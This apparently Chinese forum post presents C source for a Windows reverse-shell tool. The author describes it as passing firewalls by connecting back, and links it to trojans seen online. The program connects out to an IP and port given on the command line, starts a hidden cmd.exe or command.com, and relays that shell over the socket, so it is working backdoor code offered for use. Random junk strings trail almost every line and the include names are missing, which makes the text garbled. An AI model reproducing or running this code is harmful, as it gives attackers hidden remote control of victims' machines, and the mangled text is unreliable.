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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 8K: RoR  
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/* ============================== [ j'L *j  
Rebound port in Windows NT y$,K^f  
By wind,2006/7 W+HiH`Qb]  
===============================*/ +NML>g#F~z  
#include e/+_tC$@p@  
#include 3khsGD@  
l&rS\TCkp  
#pragma comment(lib,"wsock32.lib") +Sz%2 Q  
t8vR9]n  
void OutputShell(); L=`QF'Im  
SOCKET sClient; l%vX$Kw  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Ir%L%MuR]  
F@m]Imn5Dx  
void main(int argc,char **argv) UC3&:aQ!  
{ 7Mx F? I  
WSADATA stWsaData; Gn*cphb  
int nRet; pib i#  
SOCKADDR_IN stSaiClient,stSaiServer; L{;Sc_  
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if(argc != 3) ,1xX`:  
{ ?D 8<}~Do  
printf("Useage:\n\rRebound DestIP DestPort\n"); n7Em t$Hi>  
return; 2x PkQOj3  
} ;/ wl.'GA  
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WSAStartup(MAKEWORD(2,2),&stWsaData); tX'`4!{@+  
5 ynBVrYf  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \!O3]k,r  
' 6^+|1  
stSaiClient.sin_family = AF_INET; U}#3 LFr.?  
stSaiClient.sin_port = htons(0); n ~c<[  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); /l.:GH36f  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) AN193o   
{ %}.4c8  
printf("Bind Socket Failed!\n"); (Dat`:  
return; b#uNdq3  
} BZJ\tPSR  
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stSaiServer.sin_family = AF_INET; Za[ ?CA  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ,=_)tX^  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); pyHU +B  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) mS$9D{  
{ `!Z0; qk  
printf("Connect Error!"); G3.*fSY$.<  
return; $Cgl$A  
}  W8blHw"  
OutputShell(); V8w7U:K  
} pwF+ZNo  
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void OutputShell() MZ2/ks  
{ enC/@){~  
char szBuff[1024]; N>TmaUk  
SECURITY_ATTRIBUTES stSecurityAttributes; 5VS};&f  
OSVERSIONINFO stOsversionInfo; lQS(\}N  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; -/V,<@@T  
STARTUPINFO stStartupInfo; kk`K)PESi  
char *szShell; ._E 6?  
PROCESS_INFORMATION stProcessInformation; (HEi;  
unsigned long lBytesRead; qix$ }(P  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); H]P*!q`Ko  
m/e*P*\ =  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Ao )\/AR'  
stSecurityAttributes.lpSecurityDescriptor = 0; > `1K0?_  
stSecurityAttributes.bInheritHandle = TRUE; 6%a9%Is!O  
N&uRL_X .  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); NR>&1aRbyb  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); P5JE = &M  
K/YXLR +  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); dfA2G<Uc  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *g*~+B :  
stStartupInfo.wShowWindow = SW_HIDE; {X\%7Zef+  
stStartupInfo.hStdInput = hReadPipe; aMJW__,  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;b5^) S  
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GetVersionEx(&stOsversionInfo); >"q?P^f/  
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switch(stOsversionInfo.dwPlatformId) S`Xx('!/|  
{ /;5/7Bvj  
case 1: @CtnV|  
szShell = "command.com"; ~eZ]LW])  
break; j5gL 67B  
default: i*]$_\yl"  
szShell = "cmd.exe"; 8U%y[2sT  
break; hAV@/oQ  
} =o )B1(v@.  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ri2`M\;gt  
rw$ =!iyO  
send(sClient,szMsg,77,0); n%ypxY0  
while(1) FfX*bqy  
{ <74r  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); FfC\uuRe  
if(lBytesRead) ]i/Bq!d l  
{ kxLWk%V  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ;lQ>>[*  
send(sClient,szBuff,lBytesRead,0); a0jzt!ci  
} `)tIXMn  
else &u4;A[- R  
{ z?Cez*.h>  
lBytesRead=recv(sClient,szBuff,1024,0); J)EL<K$Z[  
if(lBytesRead<=0) break; aM4-quaG]  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 489xoP  
} [7\x(W-:@>  
} /?1^&a  
wzF%R {;  
return; 'A,)PZL9i  
}
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